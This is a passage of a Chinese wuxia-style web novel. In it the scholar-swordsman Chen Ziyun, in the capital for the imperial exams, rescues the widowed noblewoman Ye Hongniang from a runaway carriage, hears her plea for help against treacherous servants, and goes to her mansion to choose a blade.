不要小看这些消息,天子脚下,是这个时代一切经济与政治的绝对中心。而考试的选题,也是各位住在京城的大官老爷拟定的,说不得就会有什么蛛丝马迹透露出来。 陈子云披着福伯准备的那件厚重的裘衣下了马车,抬头就看到一间客栈的门口,往来的都是学子摸样的人物。 “老爷安好,小的给您问安了,老爷选我们三元楼下榻却是选对了,保证您考运亨通,连连高中。” 陈子云刚站稳,一个招待摸样的小厮从客栈里面热情的迎了出来。 “三元楼,公子,这倒是个好兆头,说不到您还真的能连中三元呢!” 陈钰这些天也跟陈子云混熟了,知道这位叔叔的脾气,也敢小小的开些玩笑。 “哪有这么容易,天下贤才何其多,能上榜已经是不易了,连中三元这话可不要再说了,否则被被人听到,难免说我们不自量力。” 陈子云轻轻的教训了一句。 在招待的引领下,马车被拉进了后院,陈子云则是开了两间房,一间自己住,一间给陈钰陈秋。本来一般的佣人都是去住客栈的大通铺住的,可是这两小子怎么说也是自己的子侄辈,自然不会真的这么苛待他们。 陈子云三人就此在三元楼客栈住下,第二天就去了京城东南方的贡院报了名,随后就带着两个小子在京城里闲逛。 倒不是陈子云变的懒散了,而是他近来发现自己自从开悟了前世之后,自己在记忆能力方面在不断的提升着。 本来他是有早就安排好的温书时间表的,可现在只要他在脑中稍稍回想,那些读过的书籍就历历在目。 甚至一些本来只是偶尔翻阅过的一些闲书,他也能不差一字的背诵出来,也不知道是那些梦境给他好处,还是他练了武功的缘故。 所以对于考一些四书五经经义的部分他已然是不怕了,只是要在策问方面下功夫。 而这方面,靠死读书是不行的,必须了解时政,这也就成了他能心安理得悠然逛街的理由,不在此时抓紧了解这京城的大事,更待何时。 至于诗词歌赋吗,这还需要准备吗,嘿! “快躲开,惊马了。” 陈子云此时正在一个街边的旧书店里翻看,准备淘换一些在福州见不到的书籍看看,就见大路上一辆双马并驾的豪华马车正在横冲直撞。 陈子云看着那两匹马在车夫的竭力拉扯下,依旧四只蹄子乱串的往前跑,知道这两匹畜生肯定是被什么东西给惊着了,赶紧拉着两个小子避到书局里头一些。 想着救不救人之前,先保证自己人不会受伤,这才是陈子云的处世之道。 而且看那车夫的技艺竟然能在这样的时候还保持着马车基本在一条直线上奔行,想来也必然有办法制止这两匹畜生继续发狂。 现在街上的人也听到了车夫的提醒,都纷纷避开到了街边两侧,想来也不会发生什么惨剧。 可意外往往就发生在人们认为最不可能的时刻,虽然那技艺高超的车夫能暂时控制住马匹。 却是不能阻止,那木质马车在这样剧烈的操作下先一步奔溃。由于马匹左右的剧烈晃动,链接马和车架之间的一根木把终于承受不住重压。 随着咔嚓一声,就见车架一个倾斜,直接就先把坐在上面的车夫给甩了出去。 随即是路边人传来一阵惊慌,因为不受控制的马匹正在到处乱撞,而已经侧翻的车架却还是被他们拖在后面,这样下去,早晚要闹出人命。 “小钰,小秋,你们自己小心。” 陈子云提醒了两个小子一句,也不顾他们的劝阻直接闪身出了旧书店的门。 如果今天这些人是江湖人士,陈子云保证连看都不会看上一眼,就算是他们被撞出了豆腐脑,也最多叹一句生死有命。 可如今街面上这些人,却都是一些无辜的百姓,等他当了官,这些人就是他的子民,如何能袖手旁观。 此时的马车已经越过了旧书店所在,陈子云直接一个跃起翻身上了屋顶,脚尖一挑,将一片瓦捏在手中。 随即在房顶上连续跳跃了三次,直到自己能清楚的看到了那两匹畜生的马脚,手中的瓦片瞬间出手。 “哈。” 陈子云这次没有丝毫的留情,只见瓦片带起的青光直接扫过了那两匹马的四肢前蹄。 随即就是一声地震与悲鸣,只见那两匹马直接被陈子云的瓦片削去了前腿,重心不稳跪摔在地上滑行。 那高速中骤停的惯性,加上与地面猛烈的冲撞,顿时便要这两匹畜生的半条命,如今躺着也是气息奄奄。 陈子云也停下了脚步,庆幸总算是在这两匹畜生惹出大祸之前结束了这闹剧。 可真当陈子云打算事了拂衣去的时候,接下来的一幕却是惊出了一身冷汗。 原来那马虽然跪地而到了,可那后面被拖行着的车架却是因为止不住的惯性直接撞到了两匹马上。 强大的惯性以车辕为支点,竟然把整个厚重的车架都给顶了起来,而被不知道甩到哪里去的车窗,也让陈子云看清了车厢里的场面。 一袭红色的裘衣,包括脸上似乎也蒙了一块红色的巾布,整个人红的就像是个出嫁的新娘。 可那闭合的眼眸,以及额头上缕缕的血丝让陈子云知道,这人早就被这受惊的畜生颠簸的撞晕在了车厢里。 眼看着车架上升的力量已经耗尽,要是这车架再砸回地上,不管这车架会不会散架,里面的这个红衣女子怕是不得活了。 可这豪华车架,少说也有千斤,陈子云虽然练了功夫,但他学的红袖刀毕竟是巧劲,可没办法直接顶着这千斤车架恐怖的下坠力道。 无法,陈子云心下一狠,直接一个穿梭,借着那已经大开的车窗直接整个人钻了进去,在迅雷之间抱着那人,一头就往另一个车窗里撞了出来。 可到这时他刚才那一跃的力道也用尽了,还想从这跌落的车架上离去却是不行了,只得凭着胸口的最后一口内气,将自己与抱着的红衣女子略略抬升了些许。 算准车架跌落的时机,把身上的惯性卸去大半。 “碰。” 街上所有人只感觉又是一次地动。 有几个眼尖的路人也似乎看到了有一个黑影蹿进了车厢里,可随即车厢落地,烟尘四起,他们却是什么也看不到了。 第三十四章 救人 “夫人,夫人。” 有个哭丧着脸的人连忙冲过来在灰尘里寻找,便是那刚才被甩出了马车的车夫,此时他一瘸一拐的摸样,显然也是受了伤。 “公子,公子。” “小叔。” 却是陈钰陈秋两个小子,看见陈子云这般情形,紧张的都忘记了他的吩咐,把本家的辈分都喊出来了。 街面上的人也终于被这几声呼喊给重新唤醒了,好似都从梦里刚刚醒来似的,赶紧都围了上来。 陈子云此时还站在车架上,两腿也有些发软,他当然不是吓的,而是刚才一下子爆发过于猛烈,肌肉酸胀,同时也是内息消耗过大。 陈子云抱着这红衣女子,捉着她是手腕,随手搭了一下脉搏,他虽然算不上正经医生,但是脉搏的强弱还是能感觉出来的。 而这红衣女子的脉搏已然是有些微弱了。 陈子云打量了街边,随即跳上了一边的屋檐,也不理会那车夫指着他喊:“抢人了,光天化日现强盗啊。” 在屋顶上奔行了几百米,来到他刚才路过时记下的医馆。 “医者,医者,此人跌撞伤的厉害,还请赶紧救治。” 陈子云抱着红衣女子就冲了进去。 医馆里的人也不惊讶,本来这就是救死扶伤的地方,一般有亲属将人送来,着急了也都这么叫。 只见一个四五十岁的医者迅速的走了过来,引着陈子云来到一个内室,将人放在了一张小床上。 切脉,望色,眼睛,舌苔,各处的骨骼,又轻轻的按压了一遍脏腑,全身检查了一遍之后,缓缓的对着陈子云开口道。 “尊夫人伤势不轻,但性命无忧。” 陈子云知道是这位大夫误会自己与这红衣女子的干系了,随即就想开口解释一句。可这位大夫并没有理会他,而是着急的嘱咐了自己身边的徒弟种种救治事宜。 陈子云见状也不敢打扰,只怕耽误了这红衣女子救治的最佳时机。便自己出了内室,在这医馆里逛了起来。 只见得这医馆,前面是药铺,后面是医堂,中间却是都被熬药的小罐子摆满了,好几个童子正在煽火煎药。 那浓浓的药香弥漫着整个医馆,却没有让人不舒服的味道。烟雾迭起,倒反而有些翩然出世的感觉。 而在前厅药铺的两根立柱上,一副木质的对联陈旧而光洁,看这包浆的年月就知道,这家医馆传承已经不短了。 “春夏秋冬,辛劳采得山中药;东西南北,勤恳为医世上人。” 这对联倒也是实实在在,没有什么“但愿世上人无病,何愁架上药生尘”的过于理想。这人吃五谷杂粮,哪有一生无病的,这有病自然要医生。 可要是药都生尘了,这医生如何又活的下去,还是该生病生病,该救人救人,病人要活,医生也要活啊。 “这位小老爷。” 陈子云听到身后有人唤他,随即转身,原来是那位给红衣女子看病的医者从内室出来了。 “小老爷,尊夫人的病症已经暂时无碍了,不过夫人的头部以及胸腹都受到过撞击,这段时间怕是要好好修养。 还请老爷先到柜台上,将这一次的诊金与这次的汤药费用支付一下,若还需要在老朽这边配药,咱们再算。” “这.....” 陈子云本来想乘此机会解释一番自己跟那位红衣女子的关系的,可想来这医药费也就是几两银子事情,何必多费口舌,等女子醒了将她送回去就是了。 而且看那女子的衣着与那马车的豪华,想来也不是小户人家,自己好歹救了她一场,难道还能少了谢礼什么的,到时候不就都回来了。 “也好。” 陈子云跟着这位中年医者来到了柜台,直接把银子付了。 陈子云付了钱,正在问医者那女子的具体伤势情况,陈钰跟陈秋气喘吁吁的找来了。 “能找到这里,还不算傻。” 陈子云心里笑到。他这一路上上京来,也没往了提点这两个小子。不过他教的不是那些四书五经的经义,而是教他们怎么把学到的东西先记忆下来。 其中一种称为宫殿记忆法的记忆窍门,就是他现在主要让两个小子再学的。这一趟逛街也是在考验着他们,如何将这走过一遍的京城街道都牢牢的记在脑海里。 如今能这般快的就反应到,自己抱着这受伤的女子肯定是来了这医馆,看来还是有些成效的。 “公子,公子。” 两个小子见到陈子云,连连惊喜的叫唤道。 “好了,别喊了,这里是医馆,都小声些。” “公子,你是不是神仙啊,我刚才看见你唰一下就不见了。是不是跟你讲的孙悟空一样,一个筋斗能翻十万八千里。” 陈钰这小子两样冒光的盯着陈子云看。 陈子云直接一个脑瓜子敲在陈钰的头上。 “你呀,一天到晚胡思乱想,那《西游记》不过是荒唐之言,我是见你们路上无聊才讲给你们听听的,怎能当真。 多学学你秋哥,一个读书人还是要正经些的好。” “公子谬赞了,我其实也好奇公子的为何能如此高来高去。” 陈秋也是好奇的望着陈子云道。 “这些事等回去再说。” 陈子云挥挥手,不接茬。 “公子.....” 陈钰还想再问,可这时医馆外面却来了不少人,似乎手里还拿着一些家伙事。这伙人吵吵嚷嚷的就进了医馆,那位中年医者正要上前劝阻,却被人一把拦开了。 陈子云看着这伙进来的人,打头的正是那个驾车本事不差的车夫。 “就是他,我刚才看到的就是他把夫人劫走的。” 一伙人随即就把陈子云围了起来,手上都是些扁担,木棍,还有人随手从医馆里抄起一张板凳就都对着陈子云怒目而视。 陈子云不由得想笑,安抚的拍拍两个已经有些被吓到的小子。 “刚才纵马伤人不算,你们还想当街行凶,这天子脚下,你们如此行径,不怕我拉你们见官?” “好你个狂妄的强人,当街抢人,竟然还敢倒打一耙,今天要是让你完整的出了这医馆,真当我将军府无人不成。” 一个管家摸样的老者从哪车夫后面走了出来。 陈子云打量着这位气势不比福州的举人老爷差的管家,已然猜到这所谓的将军府在京城里怕是势力不小,要不然可养不出这样的奴才来。 “哼,看你一副年纪,没想到还是个呆瓜,这天下,哪里会有抢人的把人送到医馆里来的。” 陈钰躲在陈子云身后,指着那管家说道。 “不错,明明是我家公子,见马车失控才仗义出手,救了那位红衣女子,还一片好心送到医馆救治,你们怎么如此不明事理!” 陈秋也在一旁说道。 那管家老者先是一愣,然后有些愤怒的看了那车夫一眼,车夫直接低下了头。 陈子云见此情形也便猜到,定然是这车夫怕自己担上干系,不敢把当时马车失控的情况说清楚,只说是自己主人被他带走了。 “不错,列位壮士,老朽虽然不清楚诸位为何如此,可老朽可以为这位公子证明,确实是他把那位夫人送到此处的,还刚垫付了医药的费用。 老朽还以为这两位如此般配,还是夫妻呢!” “住口,休要胡说。” 还不等那医者帮陈子云解释完,那管家老者开口大喝,好像是被说中了什么最说不得的事情。 “好了,胡叔,我在这。” 一声病弱却十分沉稳的女声从后面传来。 第三十五章 叶红娘 众人望去,只见一袭红霞柔柔弱弱的被人从后面的医堂里搀扶了出来。 “夫人。” 那管家连忙迎了上去,刚到那红衣女子面前就跪倒在地,还狠狠的给了自己两个嘴巴子。 那声音响的,连在场的人都替他觉得疼。 “小人照顾夫人不周,害的夫人如此,实在是该死,更是愧对老爷跟太老爷的恩德。” 那位胡叔说完还想抽自己,却是被那红衣女子拦下了。 那红衣女子脸上还是一副毫无血色的摸样,蹙起的眉头,看了都让人觉得心疼。 陈子云好似感觉到对方似乎瞟了自己一眼,但也就是如此了,径直的从他的身旁经过,连一声道谢都不曾。 等着红衣女子坐上了那些人带来的轿子,起先那几个围着自己的人也跟着走了。 “嘿,公子,这京城的里都是些什么人啊,公子你好歹救了她一命,不但没得到半句感谢,竟然还无故的被人冤枉了一场。” 陈钰愤愤不平的说道。 陈秋没有说话,但看他脸上的表情,显然也是认同陈钰说的。 “好了,先不管这些,咱们先找地方吃饭。” 陈子云虽然也觉得今天碰到的事情有些奇怪,但也没放在心上,这世间的怪事多了去了,自己碰上一件也正常。 随后的几天里,陈子云照样在京城里到处闲逛,只是每天晚上回了客栈,才会看些书册,这日子过的也算是潇洒的很,没有一点别的学子的紧张之感。 直到有一天晚上回来,一封红色的华贵帖子出现在了他房内的书桌上,而问了客栈的掌柜却又无人来拜访过他。 陈子云好奇的拆开着还有些香味的请柬。 “戌时三刻,落子湖畔,敬待君来。” “呵,有意思。” 陈子云看着这封没头没尾的请柬不由得嘴角一翘。 然后随手把请柬一丢,他就自顾自的上床睡觉去了。至于某一辆在京城落子湖畔的冷风中空等了一个时辰的豪华马车,那就不是他能管的事情了。 第二天晚上,这请柬又出现了,而且连时间跟地点都没变,但最后多了一个署名。 “叶红娘?这算是外号,还是名字,不过倒是挺合适的。” 陈子云不由得想起那从病房里自己蹒跚着走出来的身姿,那一袭红衣,确实有让人不能相忘的资本。 既然如此,那就去会一会这位红娘子吧,反正也是闲着。 陈子云让陈钰跟陈秋准备了一辆马车,在用完晚饭之后,就慢慢悠悠的往京城的落子湖去了。 这落子湖,就在京城的东北角上,这里有一个偌大的枫树林,而且好像是有人故意将这些枫树一排排一列列的整齐的罗列着种。 而这落子湖就刚好在这枫树林的中间,若是把这枫树林看成是一个围棋盘,那这落子湖就刚好在“天元”的位置上。 因围棋上有一手叫做落子天元,也不知道什么时候这个小的不能再小的湖就有了落子湖的名头。 陈钰在外面驾着马车,一到落子湖边就看到了一家枣红色的豪华马车停在湖边。明月倒影在圆圆的湖水上,又给这马车添上了一层淡淡的薄纱。 转头跟在车厢里的陈子云说了一声,陈钰就架着马车靠了上去。 有个丫鬟打扮的少女,正搓手跺脚的站在马车旁,一见到陈子云的马车过来了就赶紧在车窗上敲了几下。 也是真的可怜了她了,在这个时候的京城,在晚上又是在湖边也还是能冻煞人的。 两辆马车中的人都知道对方到了,可谁也没先开口说话,似乎都在有意的等着对方先讲。 可这一等足足等了将近有一刻钟,要不是等在车厢外的陈钰实在受不了了,钻进了马车里来,这沉默恐怕还得持续下去。 “你请我来,却一句话也不说,这可不是待客之道。” 陈子云开口说道。 “公子昨晚害我在此处空等良久,怕也不是什么君子所为。” 从那边传来的女子声音不大,却是有股子小小的不肯低头的强势。 “你叫叶红娘?” “公子不先自报家门,却来问女儿家的闺名,不也是无礼吗?” 叶红娘语气依旧僵硬。 “哦,你连请帖都送上门了,难道还会不知道我的身份?” 陈子云道。 “你的身份我自然知道,却是不知我是该称呼你为福州亚元陈子云,还是夺命书生苏梦枕呢?” 陈红娘的语调微微上扬,里面透露着几分得意。 陈子云倒是不怎么惊讶,从那天见面就知道,这女子在京城里应该是一号人物,要打听自己的身份并不是难事。 不过理解归理解,碰到这样的事情,陈子云自然不会是开心的。 “那就看你今天请的是来赴京赶考的学子陈子云,还是江湖浪荡子苏梦枕了?” 叶红娘没想到这陈子云竟然如此滑不留手,对自己拆穿他的多重身份毫不在意。 “你就不怕我将你那见不得光的身份公之于众,甚至报上朝廷,让你今生都无法考取功名。” 这一招也是够狠的,如今这时代,对一个读书人来讲没有什么比断了仕途更悲惨的了。 陈子云听了这话却是忍不住噗嗤一笑。 “你笑什么?” 叶红娘甚是恼怒,这人看着挺斯文正经的,怎么说起话里这么不着调。 “我笑,你为什么不怕苏梦枕一刀挥出,杀人散场?” 陈子云说这话的时候故意用了几分内力,语气之间也是满布杀机。 那本来站在马车外的丫头,瞬间整个人就瘫倒在了车沿上,一张小嘴哆嗦着一副怕急了的摸样。 坐在车厢里的叶红娘也是一阵沉默,不知道是不是也被陈子云突然的霸道给吓住了。 许久叶红娘才重新开口道:“陈公子见谅,刚才是红娘失礼了,红娘实在是有不得已的苦衷。” 陈子云听着这完全变了声调的话,心里暗叹,女人可真是天生的好演员,刚才还想着用把柄拿捏自己,现在却表现的这般柔弱了。 “你说,本公子听着。” “我......我.......” 不知为何那叶红娘此时竟然还支吾了起来。 “我要公子高中之后,入赘我将军府。” 叶红娘一句话快的几乎让人听不清。 咔嚓一声,陈子云心疼的看着手上把玩着的玉佩,这还是三叔公在他上京前送他的,是一块难得的暖玉,这一路上他都把玩着,却是碎在了这里。 而陈钰跟陈秋都是睁大了眼睛,捂着自己的嘴巴,生怕自己惊诧的喊了出来。 “小姐,姑娘,不,夫人,你这玩笑开得有些过了吧?” 陈子云也是皱着眉,别说是如今的时代,就算是在现代,也没人见一面,就上门捉胥的吧。 “陈公子认为,这天底下哪个女子会用这种事情跟一个男子开玩笑。” “荒谬。” 陈子云也难得的来脾气,他可不会相信这女人对自己一见钟情,非君不嫁这些屁话。 第三十六章 诉说 这社会运行自然有一套既定的规则,就好比自己辛辛苦苦读书,就是为了考取功名光宗耀祖。 而女子的婚配也有着一定的要求,门当户对这个词可不是谁一时兴起发明出来的,而是经过无数的事实经验得出来的。 对方明显是一个已经出嫁过的妇人,就算她现在已经寡居,就算她家里的权势再大,自己又怎么会娶这么一个女人。 “小钰,我们走。” 陈子云直接一把把躲在车厢里的陈钰给推了出去,陈钰此时也是对这个不要脸的女人大为不喜,直接扬起马鞭对着马屁股就落下。 “不许走。” 那本来被吓呆了的小丫头不知道哪里来的勇气,竟然想过来拦住他们的马车。 “让开。” 陈钰抬起手里的鞭子,脸上装出一副就要打人的表情。 “小钰,掉头。” “是,公子。” 陈子云也是不想再跟这两个搞不清状况的女人耽误时间了,直接让陈钰调转车头。 可随即陈子云就发现自己马车的前面一沉,接着是陈钰的一声惊呼“你?” 陈子云连忙开了车厢的门,却发现自己被一袭红衣遮住了脸,这女人竟然跳上他们的马车来了。 陈子云心里不快,暗想这女人简直比那些骂街的蠢妇还不要脸皮,就要跟她说教一番。 可当他站起身,与那叶红娘并肩而立的时候,却怎么也开不了口了。 只见那如玉般的脸上,串串珍珠滑落,眉头却是不服输的扬起,就这么似哭,似犟的用那双桃花般的眸子与陈子云对视着,竟然分毫不让。 再狠心的男人也要败给女人的泪水,何况还是这样美的女人。 “哎!”陈子云悠然一叹。 “如果你还想着那不着调的招婿之事,那么哪怕你今天把这落子湖哭的泛滥了,我陈子云也只能当一场戏来看。 既然你查过了我的过往,就应该知道,陈子云虽然父母早逝,但家中氏族却是有长辈的,我的婚事也容不得我自己做主,何况是这般的玩笑。 要是你有什么为难的事情要我帮忙,我看在这难得的缘分上也看着帮上一二。 话已至此,还请红娘自重。” 叶红娘还是盯着陈子云看了良久,直到泪水也止住了,才轻启红唇吐出一个好字。 陈子云见叶红娘一个跳跃便下了马车,身体不像一般女子那般娇弱,倒像是有几分功夫在身。 “你.....随我来。” 叶红娘便往落子湖的岸边走去。 陈子云猜想对方是不想别的人听到后面的谈话,也就跟了上去。 一丝凉风吹皱了平静的湖面,被搅碎的月光映衬在佳人的红衣上,就像是天上的仙子把自己的衣衫披在了叶红娘的身上。 陈子云默默的陪着叶红娘走了一段,也许是凉风把她脸上还残留的那泪珠给吹的凉了,叶红娘正想用手去揩。 陈子云从怀里掏出了他自己备着的一块方巾递了过去,叶红娘见此身体一顿。 “你一个男子,尽然也备着手帕?” 叶红娘虽然有些调笑的说着,可终究还是接了过去。 “既然你一个女子能忘了手帕,我一个男子为何就不能备着。” 陈子云道。 “女子要手帕是为了遮丑熏香,你一个男子要手帕又有何用,难道也也怕人看丑不成?” “丑不丑又有什么好遮掩的,都是父母给的皮囊,自然生受着就是了。这手帕只不过是用来饭后擦擦嘴,有时也揩拭口水鼻涕这些。” “啊。” 叶红娘像是被针扎的似的把手上的手帕给扔了出去。 陈子云哈哈一笑,将手帕接在手里,也算是报了对方私自查询自己身份之仇了。 “你.......” 叶红娘见陈子云如此情形,哪里猜不到自己是被戏耍了,心里气不过,当即就扬起收朝着陈子云打去。 可她的这点功夫,怎么可能打得中陈子云。陈子云只是微微的侧了侧脸,就躲开了去。 叶红娘只觉得心里气闷,也知道自己决然不是这男人的对手,不由得撒气的跺了跺脚。 “好,这一次算咱们扯平了,你私自查我底子,我小小的捉弄你一次,两清。” “哼,你一个男子,跟我一个寡居的妇人斤斤计较,好没胸怀。” “你要是再不说正事,我可就走了,这大冷天的在湖边可不是什么好享受。” “你......也罢,就当我欠你的。” 叶红娘又沉吟了片刻,似乎是在整理被陈子云的调笑打乱的思绪。 “你可知我是何人?” 陈子云走着也不答话,静待下文。 “我家祖上乃是跟着太祖爷打江山的出身,一直到我父辈,都是我朝武馆中的顶流,世袭的勋贵之家。” 叶红娘又恢复了那一身的骄傲。 “可到了我这辈,虽然也曾经有个哥哥,一个弟弟。可哥哥早早的夭折,后面的弟弟也没能保住。 就连我的母亲也因为觉得对不起我叶家传承而郁郁早逝,我父亲因与母亲感情至深,便再也不曾续弦另取。” 叶红娘的神情变的有些凄楚。 “虽然我也曾立下木兰之志,强求着父亲教了一些家传的军中本领。可我父亲疼我,不愿我一个女子受军旅之苦,只是说‘男也是子,女也是子,谁说我叶家无后嗣’。” 叶红娘停顿了,像是在咀嚼着自己的回忆。 “可我知道,父亲不知多少次在祠堂里,对着先人的牌位哭诉自己不孝之罪。” 叶红娘神情有些激动了。 “以我叶家的声望,加上我这个独女,就算是王侯之家也排着队的要迎娶我。因为他们都知道,一旦我嫁过去,这整个叶家就都跟着过去了。 可是我不愿,我不愿我叶家就此断绝,所以我一直拖着父亲,不让他答应那些王侯的求亲。 父亲疼我,当然也会依着我。” 陈子云又把方巾递了过去,因为叶红娘的泪水已经盈满了眼眶。 “直到我把自己生生的拖着了老姑娘,然后我跟父亲说,我要招婿。那一晚早就已经不怎么喝酒的父亲,把自己灌的大醉。 但是那一晚,我却是开心的,因为我要为叶家传嗣了。” 陈子云收紧了精神,对这位叶红娘也有了几分佩服,起码在这个时代,对于女子能做到这种程度的,实在不易。 “就如公子所说,但凡有前景的好男子,又有哪个是愿意入赘的。所以就算以我叶家的门庭,千挑万选之下也不过是招了一个落魄的将门子弟。 不过我也知道,竟然是我自己下的这个决心,那就要自己尝了这苦果,只希望这位夫婿能是个扛得起我叶家门楣的人。 至于我自己,只要能为叶家留个子嗣,就再也不求什么了。 可天意弄人......” 叶红娘突然的发笑,这笑却是无尽的自嘲。 第三十七章 上门 “三媒六聘,红妆彩照,一切都准备就绪,就等着三日之后,招婿入门。可那可怜的一家子竟然就突然的死了,包括我那即将入赘的丈夫。” “这般巧?” 陈子云只是第一次插话。 “是啊,我当时也觉得,怎么会是这般的巧,而当弄明白了缘由,更是可叹天命的愚弄。 那一家竟然是被我家婚前送去的那些佳肴美酒,给活活撑死胀死的。 原来那一户所谓的将门,其实已经落魄到食不果腹的地步了。 一下子见到了许久不曾见的吃食,全都狼吞虎咽,里面还夹杂着一些精致糕点,这些东西被酒水一涨,直接就把好好的三口之家给撑死了。” 叶红娘说着转过头问了陈子云一句:“你说可笑不可笑。” 陈子云自然是笑不出来的,他当然能猜到这件事对于叶家以及叶红娘的影响是多么的巨大。 “自此之后,我就成了全京城最出名的丧门星,招婿没过门,就直接被克死了全家。随后又有人说我,之所以我哥哥弟弟还有母亲这么早死了,也是被我克的。” “哎。” 陈子云喟然一叹,这就是这个时代的局限性了,这种鬼神的事情,想解释都解释不了。 “而我父亲,本来年事就已经不小,被这件事情一急一气,整个人的精神就再也不好了,没过多久便也撒手人寰了,也因此我彻底成了人人避退不急的丧门星。” “无稽之谈。” “怎么,你不信?” “这些本来就是无知之辈的谬语,如何能信。” “难道你忘了,前几天你就是因为救了我,差点反而被人当做强盗给抓了。” “哈哈哈,倒是说的也对。” “哼,口是心非之徒。” “啧啧,圣人不曾妄言,果然是‘女人难养也’。” 陈子云笑着看有些着恼的叶红娘,此时的她怕是比自己还大几岁,可脸上却是看不出点滴的岁月之痕。 “我知道了。你要我怎么帮你?” “我还没说,你怎么就知道了?” “这又何难,史书上不都写着吗,主少则国疑,不是外戚当权就是宦官专政。你这家里如今就你一个女子当家,自然就是主弱奴强,恶奴犯上了。 哦,也许还有些族里挣家产的龌龊勾当。” 陈子云笑着说道。 叶红娘愣愣的看着他,仿佛就要把陈子云的五脏六腑都看透了。 可见着陈子云那有些可恶的笑容,就挥了一袖子,有些不以为然的说道:“就知道你们这些读书的心思多。” “那车夫,还有那管家都是?” 陈子云正色问道。 叶红娘神色难看的点点头。 “胡叔本来就是跟着我爹的,府里大大小小都是他在管。而那些帮衬的却是叶氏族里,以帮衬我这个寡妇的名义塞进来的。” “也就是说,除了那丫头,你在自己家里,连一个信得过的人都没有?” 陈子云指指正在落子湖的另一边跟陈钰陈秋他们一起的那丫头道。 “小兰,是我自己买来的。” “那也就是说,那一天马车翻车也是为了彻底的解决你?” 叶红娘深吸了一口气。 “其实我也知道,我父亲死后,是不会有人再愿意入赘我叶家了,其实好自己我都动过出家的念头。 相比较于活在别人指点和厌恶的目光里,还不如出家躲个清净,可我怎么都没想到,这些人竟然能如此不顾念往日的情谊,竟然非要置我于死地。” “所以,你就打算反抗,而我就成了那根被你随手抓住的救命稻草?” 陈子云又笑了。 “不,如果你只是陈子云,一个算是有些才情的学子,我是不会找上你的。因为我知道,拉你这样的人进这叶家的泥潭里,不过就是多个陪我死的人罢了。 可是我也没想到,你竟然还是个武林高手,甚至把那所谓的五岳剑派压的不敢吭声。” “所以你就想到了要借我这把刀?” “是的,只要你愿意帮我除了这些恶奴,只要是我将军府还能办到的,我叶红娘绝对不惜一切。” “你们将军府能帮我的?难道你还有这个能力左右贡院考试的排名不成?” “陈公子何必说笑,科举大事哪里是一个将军府敢插手的,就算是首辅大人也不敢左右朝廷选才。” 叶红娘明显觉得陈子云是在开她的玩笑。 陈子云耸耸肩,刚想说自己现在除了这件事也没有什么需要她帮忙的,可随即想到,将军府,府内想来应该是有收藏兵刃的吧,那是不是可能会有好刀。 “叶夫人,不知道将军府内是否还有宝刀收藏?” “这个自然,从先祖开始到如今,府内的兵器库里刀枪剑戟自然是数不胜数。” “这便好,那不知能不能送在下一把好刀。” “这是小事,难道你只要一把刀?” 叶红娘有些不可思议的问道。 “叶夫人,有些事情在你看来是大事,在我看来却是小事;而有些事情在你那里是小事,在我看来却是好大的事。” 陈子云悠然的说道。 “既然如此,那你明天就来将军府吧,我把库房开了,让你自己去挑,反正理由也是正好的,就当是报答你这位英雄的救命之恩了。” 叶红娘与陈子云此时也刚好又绕回了马车附近,事情也说的差不多了,自然也就各自回了。 在回去的路上,陈钰好奇的的问着,那叶红娘到底找他是要干什么,陈子云只是笑笑,说了一句“小事情,就是帮忙去她家里除个虫。” 陈钰自然是不信这鬼话的,可陈子云却是不再透露了。 ...... 第二天,陈子云便拿着叶红娘给的请帖来到了所谓将军府,门厅倒是阔气的很,可惜有恶奴看门。 看到陈子云上门拜见,都没有什么好脸色,出来迎门的就是那个管家胡叔。 “陈公子,夫人已经吩咐了,让我给公子开了库门,里面的刀兵公子但凡看得上的,随您挑选。” “哦,夫人不出来见一面?” 胡叔立刻变了脸色道:“还请陈公子自重,夫人乃是家中女眷,如何能随意见外人,还请公子赶紧选了刀兵,快些去吧。 需知外乡人来京城,向来可是居不易啊。” 陈子云饶有兴致的打量了一番这位管家,不曾想对方还有几分拽文的功夫。 仓库门开了,陈子云一眼望去就知道,这里怕是已经许久没有人打理了。 “陈公子当知晓,我家老太爷已经不在,这舞枪弄棒的事情,夫人又是女流,这兵器府库自然就疏于管理了。” 胡叔说的倒是一本正经,可陈子云知道对方明显就是在胡说。昨天见了叶红娘,虽然她功夫一般,但是也能看的出来,是真的练过的,而且她一心都想着要光大将军府的门楣,怎么可能疏忽了这兵器库。 除非......这本来就不是什么兵器库。 第三十八章 得刀 果然,等陈子云在这破落的仓库里转悠了几圈,就知道这不过是个府里放置一些丢了可惜又没什么大用东西的杂物间。 “胡管家,你们将军府的兵器宝库就这些?” “没错,陈公子,你能拿走的兵器就这些,还望公子见好就收。这里是将军府,不是你一个赴京赶考的学子能得罪的起的。” 胡叔阴翳的瞥了陈子云一眼,神色里是满满的警告。 陈子云打量了那两个同胡管家一起跟来,如今守在门外气势汹汹两个壮汉。陈子云便装成一副逆来顺受的摸样,点头无奈说了声好。 随即他就来到了一个破箩筐前,这里面装着的都是些断了的刀剑。陈子云就像是闭着眼睛,随手往罗框里抓了一把,踹在袖子里就气哼哼的走了出来。 在经过管家胡叔的时候,还不忘把手伸到他的胸前怒意十足的喝问了一句:“要不要检查一下我有没有多拿一件?” 胡管家看了一眼陈子云微微鼓起的袖口,随即得意的一笑道:“不用,相信陈公子不会给自己找麻烦的。” “你们两个送陈公子出门,千万别怠慢了。” 两个守门的应了一身,紧紧的把陈子云挤在中间,差点就没直接把人给抬了起来。 胡管家本来就想锁门走人,却还是不放心的来到了刚才陈子云拿过东西的破箩筐前,审视了一番里面的物件,等实在是想不起这里少了什么,才挥挥袖子出了门。 可不知道怎么的,在胡管家关门的时候,总觉得胸口有些发闷,这是什么时候开始的,难道自己真的是老了? 胡管家没有细想,慢慢的来到大门前,他怕这些自己招来的子弟办事不牢靠,丢了将军府的门面。 自己虽然可以用将军府的名头压那个呆子书生,可这事情在屋里做得,在门口却是万万做不得的。 可人最担心什么的时候,却是越要来什么,远远的胡叔就看到,陈子云正在跟门丁们推推搡搡的。 “住手。” 胡叔大声喝道。 几个门丁见此,连忙回到自己原来的岗位上,他们可不敢在这位将军府的实际掌控人面前撒野。 “好个将军府,简直有辱斯文。” 陈子云此时头上的方巾也散了,披散这头发,指责着里面的人,有几个路过的行人也对着门里指指点点。 “关门。” 胡叔很是干脆果断,这个时候不管他怎么解释也没用,那些路人可不会听他的。 陈子云见门关上了,笑着把身后的头发一隆,就直接用方巾一系,也就不在理会它了。 而是拿出了藏在手袖里的那把不像刀的刀细细的看了起来。 要说它不是的刀吧,可它确实有一个弯刀的弧度,红水晶般的刀身在刀尖的地方几乎弯出了一个九十度。 